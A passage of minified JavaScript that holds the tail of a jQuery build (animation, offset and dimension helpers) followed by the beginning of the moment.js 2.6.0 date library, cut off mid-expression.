null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=Z.css(e.elem,e.prop,!1,""))&&"auto"!==t?t:0:e.elem[e.prop]},set:function(e){Z.fx.step[e.prop]?Z.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[Z.cssProps[e.prop]]||Z.cssHooks[e.prop])?Z.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},N.propHooks.scrollTop=N.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},Z.each(["toggle","show","hide"],function(e,t){var n=Z.fn[t];Z.fn[t]=function(i,r,o){return null==i||"boolean"==typeof i||!e&&Z.isFunction(i)&&Z.isFunction(r)?n.apply(this,arguments):this.animate(O(t,!0),i,r,o)}}),Z.fn.extend({fadeTo:function(e,t,n,i){return this.filter(y).css("opacity",0).show().end().animate({opacity:t},e,n,i)},animate:function(e,t,n,i){var r=Z.isEmptyObject(e),o=Z.speed(t,n,i),a=function(){var t=F(this,Z.extend({},e),o);r&&t.stop(!0)};return r||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(e,n,i){var r=function(e){var t=e.stop;delete e.stop,t(i)};return"string"!=typeof e&&(i=n,n=e,e=t),n&&!1!==e&&this.queue(e||"fx",[]),this.each(function(){var t=!0,n=null!=e&&e+"queueHooks",o=Z.timers,a=Z._data(this);if(n)a[n]&&a[n].stop&&r(a[n]);else for(n in a)a[n]&&a[n].stop&&Qt.test(n)&&r(a[n]);for(n=o.length;n--;)o[n].elem===this&&(null==e||o[n].queue===e)&&(o[n].anim.stop(i),t=!1,o.splice(n,1));(t||!i)&&Z.dequeue(this,e)})}}),Z.each({slideDown:O("show"),slideUp:O("hide"),slideToggle:O("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){Z.fn[e]=function(e,n,i){return this.animate(t,e,n,i)}}),Z.speed=function(e,t,n){var i=e&&"object"==typeof e?Z.extend({},e):{complete:n||!n&&t||Z.isFunction(e)&&e,duration:e,easing:n&&t||t&&!Z.isFunction(t)&&t};return i.duration=Z.fx.off?0:"number"==typeof i.duration?i.duration:i.duration in Z.fx.speeds?Z.fx.speeds[i.duration]:Z.fx.speeds._default,null!=i.queue&&!0!==i.queue||(i.queue="fx"),i.old=i.complete,i.complete=function(){Z.isFunction(i.old)&&i.old.call(this),i.queue&&Z.dequeue(this,i.queue)},i},Z.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},Z.timers=[],Z.fx=N.prototype.init,Z.fx.tick=function(){for(var e,t=Z.timers,n=0;n<t.length;n++)!(e=t[n])()&&t[n]===e&&t.splice(n--,1);t.length||Z.fx.stop()},Z.fx.timer=function(e){e()&&Z.timers.push(e)&&!Yt&&(Yt=setInterval(Z.fx.tick,Z.fx.interval))},Z.fx.interval=13,Z.fx.stop=function(){clearInterval(Yt),Yt=null},Z.fx.speeds={slow:600,fast:200,_default:400},Z.fx.step={},Z.expr&&Z.expr.filters&&(Z.expr.filters.animated=function(e){return Z.grep(Z.timers,function(t){return e===t.elem}).length});var Xt=/^(?:body|html)$/i;Z.fn.offset=function(e){if(arguments.length)return e===t?this:this.each(function(t){Z.offset.setOffset(this,e,t)});var n,i,r,o,a,s,l,c,u=this[0],d=u&&u.ownerDocument;return d?(r=d.body)===u?Z.offset.bodyOffset(u):(i=d.documentElement,Z.contains(i,u)?(n=u.getBoundingClientRect(),o=R(d),a=i.clientTop||r.clientTop||0,s=i.clientLeft||r.clientLeft||0,l=o.pageYOffset||i.scrollTop,c=o.pageXOffset||i.scrollLeft,{top:n.top+l-a,left:n.left+c-s}):{top:0,left:0}):void 0},Z.offset={bodyOffset:function(e){var t=e.offsetTop,n=e.offsetLeft;return Z.support.doesNotIncludeMarginInBodyOffset&&(t+=parseFloat(Z.css(e,"marginTop"))||0,n+=parseFloat(Z.css(e,"marginLeft"))||0),{top:t,left:n}},setOffset:function(e,t,n){var i=Z.css(e,"position");"static"===i&&(e.style.position="relative");var r,o,a=Z(e),s=a.offset(),l=Z.css(e,"top"),c=Z.css(e,"left"),u={},d={};("absolute"===i||"fixed"===i)&&Z.inArray("auto",[l,c])>-1?(r=(d=a.position()).top,o=d.left):(r=parseFloat(l)||0,o=parseFloat(c)||0),Z.isFunction(t)&&(t=t.call(e,n,s)),null!=t.top&&(u.top=t.top-s.top+r),null!=t.left&&(u.left=t.left-s.left+o),"using"in t?t.using.call(e,u):a.css(u)}},Z.fn.extend({position:function(){if(this[0]){var e=this[0],t=this.offsetParent(),n=this.offset(),i=Xt.test(t[0].nodeName)?{top:0,left:0}:t.offset();return n.top-=parseFloat(Z.css(e,"marginTop"))||0,n.left-=parseFloat(Z.css(e,"marginLeft"))||0,i.top+=parseFloat(Z.css(t[0],"borderTopWidth"))||0,i.left+=parseFloat(Z.css(t[0],"borderLeftWidth"))||0,{top:n.top-i.top,left:n.left-i.left}}},offsetParent:function(){return this.map(function(){for(var e=this.offsetParent||U.body;e&&!Xt.test(e.nodeName)&&"static"===Z.css(e,"position");)e=e.offsetParent;return e||U.body})}}),Z.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var i=/Y/.test(n);Z.fn[e]=function(r){return Z.access(this,function(e,r,o){var a=R(e);if(o===t)return a?n in a?a[n]:a.document.documentElement[r]:e[r];a?a.scrollTo(i?Z(a).scrollLeft():o,i?o:Z(a).scrollTop()):e[r]=o},e,r,arguments.length,null)}}),Z.each({Height:"height",Width:"width"},function(e,n){Z.each({padding:"inner"+e,content:n,"":"outer"+e},function(i,r){Z.fn[r]=function(r,o){var a=arguments.length&&(i||"boolean"!=typeof r),s=i||(!0===r||!0===o?"margin":"border");return Z.access(this,function(n,i,r){var o;return Z.isWindow(n)?n.document.documentElement["client"+e]:9===n.nodeType?(o=n.documentElement,Math.max(n.body["scroll"+e],o["scroll"+e],n.body["offset"+e],o["offset"+e],o["client"+e])):r===t?Z.css(n,i,r,s):Z.style(n,i,r,s)},n,a?r:t,a,null)}})}),e.jQuery=e.$=Z,"function"==typeof define&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return Z})}(window), //! moment.js //! version : 2.6.0 //! authors : Tim Wood, Iskren Chernev, Moment.js contributors //! license : MIT //! momentjs.com function(e){function t(){return{empty:!1,unusedTokens:[],unusedInput:[],overflow:-2,charsLeftOver:0,nullInput:!1,invalidMonth:null,invalidFormat:!1,userInvalidated:!1,iso:!1}}function n(e,t){function n(){!1===le.suppressDeprecationWarnings&&"undefined"!=typeof console&&console.warn&&console.warn("Deprecation warning: "+e)}var i=!0;return l(function(){return i&&(n(),i=!1),t.apply(this,arguments)},t)}function i(e,t){return function(n){return d(e.call(this,n),t)}}function r(e,t){return function(n){return this.lang().ordinal(e.call(this,n),t)}}function o(){}function a(e){k(e),l(this,e)}function s(e){var t=y(e),n=t.year||0,i=t.quarter||0,r=t.month||0,o=t.week||0,a=t.day||0,s=t.hour||0,l=t.minute||0,c=t.second||0,u=t.millisecond||0;this._milliseconds=+u+1e3*c+6e4*l+36e5*s,this._days=+a+7*o,this._months=+r+3*i+12*n,this._data={},this._bubble()}function l(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n]);return t.hasOwnProperty("toString")&&(e.toString=t.toString),t.hasOwnProperty("valueOf")&&(e.valueOf=t.valueOf),e}function c(e){var t,n={};for(t in e)e.hasOwnProperty(t)&&we.hasOwnProperty(t)&&(n[t]=e[t]);return n}function u(e){return e<0?Math.ceil(e):Math.floor(e)}function d(e,t,n){for(var i=""+Math.abs(e),r=e>=0;i.length<t;)i="0"+i;return(r?n?"+":"":"-")+i}function f(e,t,n,i){var r=t._milliseconds,o=t._days,a=t._months;i=null==i||i,r&&e._d.setTime(+e._d+r*n),o&&ie(e,"Date",ne(e,"Date")+o*n),a&&te(e,ne(e,"Month")+a*n),i&&le.updateOffset(e,o||a)}function p(e){return"[object Array]"===Object.prototype.toString.call(e)}function h(e){return"[object Date]"===Object.prototype.toString.call(e)||e instanceof Date}function m(e,t,n){var i,r=Math.min(e.length,t.length),o=Math.abs(e.length-t.length),a=0;for(i=0;i<r;i++)(n&&e[i]!==t[i]||!n&&b(e[i])!==b(t[i]))&&a++;return a+o}function g(e){if(e){var t=e.toLowerCase().replace(/(.)s$/,"$1");e=Je[e]||Ze[t]||t}return e}function y(e){var t,n,i={};for(n in e)e.hasOwnProperty(n)&&(t=g(n))&&(i[t]=e[n]);return i}function v(t){var n,i;if(0===t.indexOf("week"))n=7,i="day";else{if(0!==t.indexOf("month"))return;n=12,i="month"}le[t]=function(r,o){var a,s,l=le.fn._lang[t],c=[];if("number"==typeof r&&(o=r,r=e),s=function(e){var t=le().utc().set(i,e);return l.call(le.fn._lang,t,r||"")},null!=o)return s(o);for(a=0;a<n;a++)c.push(s(a));return c}}function b(e){var t=+e,n=0;return 0!==t&&isFinite(t)&&(n=t>=0?Math.floor(t):Math.ceil(t)),n}function _(e,t){return new Date(Date.UTC(e,t+1,0)).getUTCDate()}function T(e,t,n){return Z(le([e,11,31+t-n]),t,n).week}function w(e){return S(e)?366:365}function S(e){return e%4==0&&e%100!=0||e%400==0}function k(e){var t;e._a&&-2===e._pf.overflow&&(t=e._a[me]<0||e._a[me]>11?me:e._a[ge]<1||e._a[ge]>_(e._a[he],e._a[me])?ge:e._a[ye]<0||e._a[ye]>23?ye:e._a[ve]<0||e._a[ve]>59?ve:e._a[be]<0||e._a[be]>59?be:e._a[_e]<0||e._a[_e]>999?_e:-1,e._pf._overflowDayOfYear&&(t<he||t>ge)&&(t=ge),e._pf.overflow=t)}function C(e){return null==e._isValid&&(e._isValid=!isNaN(e._d.getTime())&&e._pf.overflow<0&&!e._pf.empty&&!e._pf.invalidMonth&&!e._pf.nullInput&&!e._pf.invalidFormat&&!e._pf.userInvalidated,e._strict&&(e._isValid=e._isValid&&0===e._pf.charsLeftOver&&0===e._pf.unusedTokens.length)),e._isValid}function x(e){return e?e.toLowerCase().replace("_","-"):e}function E(e,t){return t._isUTC?le(e).zone(t._offset||0):le(e).local()}function $(e,t){return t.abbr=e,Te[e]||(Te[e]=new o),Te[e].set(t),Te[e]}function A(e){delete Te[e]}function M(e){var t,n,i,r,o=0,a=function(e){if(!Te[e]&&Se)try{require("./lang/"+e)}catch(t){}return Te[e]};if(!e)return le.fn._lang;if(!p(e)){if(n=a(e))return n;e=[e]}for(;o<e.length;){for(t=(r=x(e[o]).split("-")).length,i=(i=x(e[o+1]))?i.split("-"):null;t>0;){if(n=a(r.slice(0,t).join("-")))return n;if(i&&i.length>=t&&m(r,i,!0)>=t-1)break;t--}o++}return le.fn._lang}function P(e){return e.match(/\[[\s\S]/)?e.replace(/^\[|\]$/g,""):e.replace(/\\/g,"")}function D(e){var t,n,i=e.match(Ee);for(t=0,n=i.length;t<n;t++)nt[i[t]]?i[t]=nt[i[t]]:i[t]=P(i[t]);return function(r){var o="";for(t=0;t<n;t++)o+=i[t]instanceof Function?i[t].call(r,e):i[t];return o}}function F(e,t){return e.isValid()?(t=L(t,e.lang()),Xe[t]||(Xe[t]=D(t)),Xe[t](e)):e.lang().invalidDate()}function L(e,t){function n(e){return t.longDateFormat(e)||e}var i=5;for($e.lastIndex=0;i>=0&&$e.test(e);)e=e.replace($e,n),$e.lastIndex=0,i-=1;return e}function I(e,t){var n=t._strict;switch(e){case"Q":return je;case"DDDD":return Ue;case"YYYY":case"GGGG":case"gggg":return n?Be:Pe;case"Y":case"G":case"g":return We;case"YYYYYY":case"YYYYY":case"GGGGG":case"ggggg":return n?He:De;case"S":if(n)return je;case"SS":if(n)return Ve;case"SSS":if(n)return Ue;case"DDD":return Me;case"MMM":case"MMMM":case"dd":case"ddd":case"dddd":return Le;case"a":case"A":return M(t._l)._meridiemParse;case"X":return Oe;case"Z":case"ZZ":return Ie;case"T":return Ne;case"SSSS":return Fe;case"MM":case"DD":case"YY":case"GG":case"gg":case"HH":case"hh":case"mm":case"ss":case"ww":case"WW":return n?Ve:Ae;case"M":case"D":case"d":case"H":case"h":case"m":case"s":case"w":case"W":case"e":case"E":return Ae;case"Do":return Re;default:return new RegExp(H(B(e.replace("\\","")),"i"))}}function N(e){var t=(e=e||"").match(Ie)||[],n=((t[t.length-1]||[])+"").match(Ke)||["-",0,0],i=60*n[1]+b(n[2]);return"+"===n[0]?-i:i}function O(e,t,n){var i,r=n._a;switch(e){case"Q":null!=t&&(r[me]=3*(b(t)-1));break;case"M":case"MM":null!=t&&(r[me]=b(t)-1);break;case"MMM":case"MMMM":null!=(i=M(n._l).monthsParse(t))?r[me]=i:n._pf.invalidMonth=t;break;case"D":case"DD":null!=t&&(r[ge]=b(t));break;case"Do":null!=t&&(r[ge]=b(parseInt(t,10)));break;case"DDD":case"DDDD":null!=t&&(n._dayOfYear=b(t));break;case"YY":r[he]=le.parseTwoDigitYear(t);break;case"YYYY":case"YYYYY":case"YYYYYY":r[he]=b(t);break;case"a":case"A":n._isPm=M(n._l).isPM(t);break;case"H":case"HH":case"h":case"hh":r[ye]=b(t);break;case"m":case"mm":r[ve]=b(t);break;case"s":case"ss":r[be]=b(t);break;case"S":case"SS":case"SSS":case"SSSS":r[_e]=b(1e3*("0."+t));break;case"X":n._d=new Date(1e3*parseFloat(t));break;case"Z":case"ZZ":n._useUTC=!0,n._tzm=N(t);break;case"w":case"ww":case"W":case"WW":case"d":case"dd":case"ddd":case"dddd":case"e":case"E":e=e.substr(0,1);case"gg":case"gggg":case"GG":case"GGGG":case"GGGGG":e=e.substr(0,2),t&&(n._w=n._w||{},n._w[e]=t)}}function R(e){var t,n,i,r,o,a,s,l,c,u,d=[];if(!e._d){for(i=V(e),e._w&&null==e._a[ge]&&null==e._a[me]&&(o=function(t){var n=parseInt(t,10);return t?t.length<3?n>68?1900+n:2e3+n:n:null==e._a[he]?le().weekYear():e._a[he]},null!=(a=e._w).GG||null!=a.W||null!=a.E?s=X(o(a.GG),a.W||1,a.E,4,1):(l=M(e._l),c=null!=a.d?K(a.d,l):null!=a.e?parseInt(a.e,10)+l._week.dow:0,u=parseInt(a.w,10)||1,null!=a.d&&c<l._week.dow&&u++,s=X(o(a.gg),u,c,l._week.doy,l._week.dow)),e._a[he]=s.year,e._dayOfYear=s.dayOfYear),e._dayOfYear&&(r=null==e._a[he]?i[he]:e._a[he],e._dayOfYear>w(r)&&(e._pf._overflowDayOfYear=!0),n=G(r,0,e._dayOfYear),e._a[me]=n.getUTCMonth(),e._a[ge]=n.getUTCDate()),t=0;t<3&&null==e._a[t];++t)e._a[t]=d[t]=i[t];for(;t<7;t++)e._a[t]=d[t]=null==e._a[t]?2===t?1:0:e._a[t];d[ye]+=b((e._tzm||0)/60),d[ve]+=b((e._tzm||0)%60),e._d=(e._useUTC?G:Y).apply(null,d)}}function j(e){var t;e._d||(t=y(e._i),e._a=[t.year,t.month,t.day,t.hour,t.minute,t.second,t.millisecond],R(e))}function V(e){var t=new Date;return e._useUTC?[t.getUTCFullYear(),t.getUTCMonth(),t.getUTCDate()]:[t.getFullYear(),t.getMonth(),t.getDate()]}function U(e){e._a=[],e._pf.empty=!0;var t,n,i,r,o,a=M(e._l),s=""+e._i,l=s.length,c=0;for(i=L(e._f,a).match(Ee)||[],t=0;t<i.length;t++)r=i[t],(n=(s.match(I(r,e))||[])[0])&&((o=s.substr(0,s.indexOf(n))).length>0&&e._pf.unusedInput.push(o),s=s.slice(s.indexOf(n)+n.length),c+=n.length),nt[r]?(n?e._pf.empty=!1:e._pf.unusedTokens.push(r),O(r,n,e)):e._strict&&!n&&e._pf.unusedTokens.push(r);e._pf.charsLeftOver=l-c,s.length>0&&e._pf.unusedInput.push(s),e._isPm&&e._a[ye]<12&&(e._a[ye]+=12),!1===e._isPm&&12===e._a[ye]&&(e._a[ye]=0),R(e),k(e)}function B(e){return e.replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g,function(e,t,n,i,r){return t||n||i||r})}function H(e){return e.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")}function W(e){var n,i,r,o,a;if(0===e._f.length)return e._pf.invalidFormat=!0,void(e._d=new Date(NaN));for(o=0;o<e._f.length;o++)a=0,(n=l({},e))._pf=t(),n._f=e._f[o],U(n),C(n)&&(a+=n._pf.charsLeftOver,a+=10*n._pf.unusedTokens.length,n._pf.score=a,(null==r||a<r)&&(r=a,i=n));l(e,i||n)}function z(e){var t,n,i=e._i,r=ze.exec(i);if(r){for(e._pf.iso=!0,t=0,n=Ye.length;t<n;t++)if(Ye[t][1].exec(i)){e._f=Ye[t][0]+(r[6]||" ");break}for(t=0,n=Ge.length;t<n;t++)if(Ge[t][1].exec(i)){e._f+=Ge[t][0];break}i.match(Ie)&&(e._f+="Z"),U(e)}else le.createFromInputFallback(e)}function q(t){var n=t._i,i=ke.exec(n);n===e?t._d=new Date:i?t._d=new Date(+i[1]):"string"==typeof n?z(t):p(n)?(t._a=n.slice(0),R(t)):h(n)?t._d=new Date(+n):"object"==typeof n?j(t):"number"==typeof n?t._d=new Date(n):le.createFromInputFallback(t)}function Y(e,t,n,i,r,o,a){var s=new Date(e,t,n,i,r,o,a);return e<1970&&s.setFullYear(e),s}function G(e){var t=new Date(Date.UTC.apply(null,arguments));return e<1970&&t.setUTCFullYear(e),t}function K(e,t){if("string"==typeof e)if(isNaN(e)){if("number"!=typeof(e=t.weekdaysParse(e)))return null}else e=parseInt(e,10);return e}function Q(e,t,n,i,r){return r.relativeTime(t||1,!!n,e,i)}function J(e,t,n){var i=pe(Math.abs(e)/1e3),r=pe(i/60),o=pe(r/60),a=pe(o/24),s=pe(a/365),l=i<45&&["s",i]||1===r&&["m"]||r<45&&["mm",r]||1===o&&["h"]||o<22&&["hh",o]||1===a&&["d"]||a<=25&&["dd",a]||a<=45&&["M"]||a<345&&["MM",pe(a/30)]||1===s&&["y"]||["yy",s];return l[2]=t,l[3]=e>0,l[4]=n,Q.apply({},l)}function Z(e,t,n){var i,r=n-t,o=n-e.day();return o>r&&(o-=7),o<r-7&&(o+=7),i=le(e).add("d",o),{week:Math.ceil(i.dayOfYear()/7),year:i.year()}}function X(e,t,n,i,r){var o,a=G(e,0,1).getUTCDay();return{year:(o=7*(t-1)+((n=null!=n?n:r)-r)+(r-a+(a>i?7:0)-(a<r?7:0))+1)>0?e:e-1,dayOfYear:o>0?o:w(e-1)+o}}function ee(t){var n=t._i,i=t._f;return null===n||i===e&&""===n?le.invalid({nullInput:!0}):("string"==typeof n&&(t._i=n=M().preparse(n)),le.isMoment(n)?(t=c(n))._d=new Date(+n._d):i?p(i)?W(t):U(t):q(t),new a(t))}function te(e,t){var n;return"string"==typeof t&&"number"!=typeof(t=e.lang().monthsParse(t))?e:(n=Math.min(e.date(),_(e.year(),t)),e._d["set"+(e._isUTC?"UTC":"")+"Month"](t,n),e)}function ne(e,t){return e._d["get"+(e._isUTC?"UTC":"")+t]()}function ie(e,t,n){return"Month"===t?te(e,n):e._d["set"+(e._isUTC?"UTC":"")+t](n)}function re(e,t){return function(n){return null!=n?(ie(this,e,n),le.updateOffset(this,t),this):ne(this,e)}}function oe(e){le.duration.fn[e]=function(){return this._data[e]}}function ae(e,t){le.duration.fn["as"+e]=function(){return+this/t}}function se(e){"undefined"==typeof ender&&(ce=fe.moment,fe.moment=e?n("Accessing Moment through the global scope is deprecated, and will be removed in an upcoming release.",le):le)}for(var le,ce,ue,de="2.6.0",fe="undefined"!=typeof global?global:this,pe=Math.round,he=0,me=1,ge=2,ye=3,ve=4,be=5,_e=6,Te={},we={_isAMomentObject:null,_i:null,_f:null,_l:null,_strict:null,_isUTC:null,_offset:null,_pf:null,_lang:null},Se="undefined"!=typeof module&&module.exports,ke=/^\/?Date\((\-?\d+)/i,Ce=/(\-)?(?:(\d*)\.)?(\d+)\:(\d+)(?:\:(\d+)\.?(\d{3})?)?/,xe=/^(-)?P(?:(?:([0-9,.]*)Y)?(?:([0-9,.]*)M)?(?:([0-9,.]*)D)?(?:T(?:([0-9,.]*)H)?(?:([0-9,.]*)M)?(?:([0-9,.]*)S)?)?|([0-9,.]*)W)$/,Ee=/(\[[^\[]*\])|(\\)?(Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Q|YYYYYY|YYYYY|YYYY|YY|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|mm?|ss?|S{1,4}|X|zz?|ZZ?|.)/g,$e=/(\[[^\[]*\])|(\\)?(LT|LL?L?L?|l{1,4})/g,Ae=/\d\d?/,Me=/\d{1,3}/,Pe=/\d{1,4}/,De=/[+\-]?\d{1,6}/,Fe=/\d+/,Le=/[0-9]*['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+|[\u0600-\u06FF\/]+(\s*?[\u0600-\u06FF]+){1,2}/i,Ie=/Z|[\+\-]\d\d:?\d\d/gi,Ne=/T/i,Oe=/[\+\-]?\d+(\.\d{1,3})?/,Re=/\d{1,2}/,je=/\d/,Ve=/\d\d/,Ue=/\d{3}/,Be=/\d{4}/,He=/[+-]?\d{6}/,We=/[+-]?\d+/,ze=/^\s*(?:[+-]\d{6}|\d{4})-(?:(\d\d-\d\d)|(W\d\d$)|(W\d\d-\d)|(\d\d\d))((T| )(\d\d(:\d\d(:\d\d(\.\d+)?)?)?)?([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,qe="YYYY-MM-DDTHH:mm:ssZ",Ye=[["YYYYYY-MM-DD",/[+-]\d{6}-\d{2}-\d{2}/],["YYYY-MM-DD",/\d{4}-\d{2}-\d{2}/],["GGGG-[W]WW-E",/\d{4}-W\d{2}-\d/],["GGGG-[W]WW",/\d{4}-W\d{2}/],["YYYY-DDD",/\d{4}-\d{3}/]],Ge=[["HH:mm:ss.SSSS",/(T| )\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss",/(T| )\d\d:\d\d:\d\d/],["HH:mm",/(T| )\d\d:\d\d/],["HH",/(T| )\d\d/]],Ke=/([\+\-]|\d\d)/gi,Qe=("Date|Hours|Minutes|Seconds|Milliseconds".split("|"),{Milliseconds:1,Seconds:1e3,Minutes:6e4,Hours:36e5,Days:864e5,Months:2592e6,Years:31536e6}),Je={ms:"millisecond",s:"second",m:"minute",h:"hour",d:"day",D:"date",w:"week",W:"isoWeek",M:"month",Q:"quarter",y:"year",DDD:"dayOfYear",e:"weekday",E:"isoWeekday",gg:"weekYear",GG:"isoWeekYear"},Ze={dayofyear:"dayOfYear",isoweekday:"isoWeekday",isoweek:"isoWeek",weekyear:"weekYear",isoweekyear:"isoWeekYear"},Xe={},et="DDD w W M D d".split(" "),tt="M D H h m s w W".split(" "),nt={M:function(){return this.month()+1},MMM:function(e){return this.lang().monthsShort(this,e)},MMMM:function(e){return this.lang().months(this,e)},D:function(){return this.date()},DDD:function(){return this.dayOfYear()},d:function(){return this.day()},dd:function(e){return this.lang().weekdaysMin(this,e)},ddd:function(e){return this.lang().weekdaysShort(this,e)},dddd:function(e){return this.lang().weekdays(this,e)},w:function(){return this.week()},W:function(){return this.isoWeek()},YY:function(){return d(this.year()%100,2)},YYYY:function(){return d(this.year(),4)},YYYYY:function(){return d(this.year(),5)},YYYYYY:function(){var e=this.year();return(e>=0?"+":"-")+d(Math.abs(e),6)},gg:function(){return d(this.weekYear()%100,2)},gggg:function(){return d(this.weekYear(),4)},ggggg:function(){return d(this.weekYear(),5)},GG:function(){return d(this.isoWeekYear()%100,2)},GGGG:function(){return d(this.isoWeekYear(),4)},GGGGG:function(){return d(this.isoWeekYear(),5)},e:function(){return this.weekday()},E:function(){return this.isoWeekday()},a:function(){return this.lang().meridiem(this.hours(),this.minutes(),!0)},A:function(){return this.lang().meridiem(this.hours(),this.minutes(),!1)},H:function(){return this.hours()},h:function(){return this.hours()%12||12},m:function(){return this.minutes()},s:function(){return this.seconds()},S:function(){return b(this.milliseconds()/100)},SS:function(){return d(b(this.milliseconds()/10),2)},SSS:function(){return d(this.milliseconds(),3)},SSSS:function(){return d(this.milliseconds(),3)},Z:function(){var e=-this.zone(),t="+";return e<0&&(e=-e,t="-"),t+d(b(e/60),2)+":"+d(b(e)%60,2)},ZZ:function(){var e=-this.zone(),t="+";return e<0&&(e=-e,t="-"),t+d(b(e/60),2)+d(b(e)%60,2)},z:function(){return this.zoneAbbr()},zz:function(){return this.zoneName()},X:function(){return this.unix()},Q:function(){return this.quarter()}},it=["months","monthsShort","weekdays","weekdaysShort","weekdaysMin"];et.length;)ue=et.pop(),nt[ue+"o"]=r(nt[ue],ue);for(;tt.length;)ue=tt.pop(),nt[ue+ue]=i(nt[ue],2);for(nt.DDDD=i(nt.DDD,3),l(o.prototype,{set:function(e){var t,n;for(n in e)"function"==typeof(t=e[n])?this[n]=t:this["_"+n]=t},_months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),months:function(e){return this._months[e.month()]},_monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),monthsShort:function(e){return this._monthsShort[e.month()]},monthsParse:function(e){var t,n,i;for(this._monthsParse||(this._monthsParse=[]),t=0;t<12;t++)if(this._monthsParse[t]||(n=le.utc([2e3,t]),i="^"+this.months(n,"")+"|^"+this.monthsShort(n,""),this._monthsParse[t]=new RegExp(i.replace(".",""),"i")),this._monthsParse[t].test(e))return t},_weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdays:function(e){return this._weekdays[e.day()]},_weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysShort:function(e){return this._weekdaysShort[e.day()]},_weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),weekdaysMin:function(e){return this._weekdaysMin[e.day()]},weekdaysParse:function(e){var t,n,i;for(this._weekdaysParse||(this._weekdaysParse=[]),t=0;t<7;t++)if(this._weekdaysParse[t]||(n=le([2e3,1]).day(t),i="^"+this.weekdays(n,"")+"|^"+this.weekdaysShort(n,"")+"|^"+this.weekdaysMin(n,""),this._weekdaysParse[t]=new RegExp(i.replace(".",""),"i")),this._weekdaysParse[t].test(e))return t},_longDateFormat:{LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D YYYY",LLL:"MMMM D YYYY LT",LLLL:"dddd, MMMM D YYYY LT"},longDateFormat:function(e){var t=this._longDateFormat[e];return!t&&this._longDateFormat[e.toUpperCase()]&&(t=this._longDateFormat[e.toUpperCase()].replace(/MMMM|MM|DD|dddd/g,function(e){return e.slice(1)}),this._longDateFormat[e]=t),t},isPM:function(e){return"p"===(e+"").toLowerCase().charAt(0)},_meridiemParse:/[ap]\.?m?\.?/i,meridiem:function(e,t,n){return e>11?n?"pm":"PM":n?"am":"AM"},_calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},calendar:function(e,t){var n=this._calendar[e];return"function"==typeof n?n.apply(t):n},_relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},relativeTime:function(e,t,n,i){var r=this._relativeTime[n];return"function"==typeof r?r(e,t,n,i):r.replace(/%d/i,e)},pastFuture:function(e,t){var n=this._relativeTime[e>0?"future":"past"];return"function"==typeof n?n(t):n.replace(/%s/i,t)},ordinal:function(e){return this._ordinal.replace("%d",e)},_ordinal:"%d",preparse:function(e){return e},postformat:function(e){return e},week:function(e){return Z(e,this._week.dow,this._week.doy).week},_week:{dow:0,doy:6},_invalidDate:"Invalid date",invalidDate:function(){return this._invalidDate}}),(le=function(n,i,r,o){var a;return"boolean"==typeof r&&(o=r,r=e),(a={})._isAMomentObject=!0,a._i=n,a._f=i,a._l=r,a._strict=o,a._isUTC=!1,a._pf=t(),ee(a)}).suppressDeprecationWarnings=!1,le.createFromInputFallback=n("moment construction falls back to js Date. This is discouraged and will be removed in upcoming major release. Please refer to https://github.com/moment/moment/issues/1407 for more info.",function(e){e._d=new Date(e._i)}),le.utc=function(n,i,r,o){var a;return"boolean"==typeof r&&(o=r,r=e),(a={})._isAMomentObject=!0,a._useUTC=!0,a._isUTC=!0,a._l=r,a._i=n,a._f=i,a._strict=o,a._pf=t(),ee(a).utc()},le.unix=function(e){return le(1e3*e)},le.duration=function(e,t){var n,i,r,o=e,a=null;return le.isDuration(e)?o={ms:e._milliseconds,d:e._days,M:e._months}:"number"==typeof e?(o={},t?o[t]=e:o.milliseconds=e):(a=Ce.exec(e))?(n="-"===a[1]?-1:1,o={y:0,d:b(a[ge])*n,h:b(a[ye])*n,m:b(a[ve])*n,s:b(a[be])*n,ms:b(a[_e])*n}):(a=xe.exec(e))&&(n="-"===a[1]?-1:1,o={y:(r=function(e){var t=e&&parseFloat(e.replace(",","."));return(isNaN(t)?0:t)*n})(a[2]),M:r(a[3]),d:r(a[4]),h:r(a[5]),m:r(a[6]),s:r(a[7]),w:r(a[8])}),i=new s(o),le.isDuration(e)&&e.hasOwnProperty("_lang")&&(i._lang=e._lang),i},le.version=de,le.defaultFormat=qe,le.momentProperties=we,le.updateOffset=function(){},le.lang=function(e,t){return e?(t?$(x(e),t):null===t?(A(e),e="en"):Te[e]||M(e),(le.duration.fn._lang=le.fn._lang=M(e))._abbr):le.fn._lang._abbr},le.langData=function(e){return e&&e._lang&&e._lang._abbr&&(e=e._lang._abbr),M(e)},le.isMoment=function(e){return e instanceof 